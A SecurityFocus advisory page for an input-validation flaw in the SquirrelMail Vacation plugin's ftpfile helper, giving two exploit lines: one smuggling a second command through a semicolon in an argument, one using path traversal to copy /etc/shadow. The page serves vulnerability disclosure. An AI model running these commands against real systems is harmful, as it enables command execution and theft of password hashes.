Search: Home Bugtraq Vulnerabilities Mailing Lists Jobs Tools Beta Programs

SquirrelMail Vacation Plugin FTPFile Input Validation Vulnerability

The following examples were provided:

(command execution)
ftpfile 0 root 0 get 0 "LSS-Security;id"

(file disclosure)
ftpfile localhost root root get ../../../../etc/shadow ./shadow







 

Privacy Statement
Copyright 2009, SecurityFocus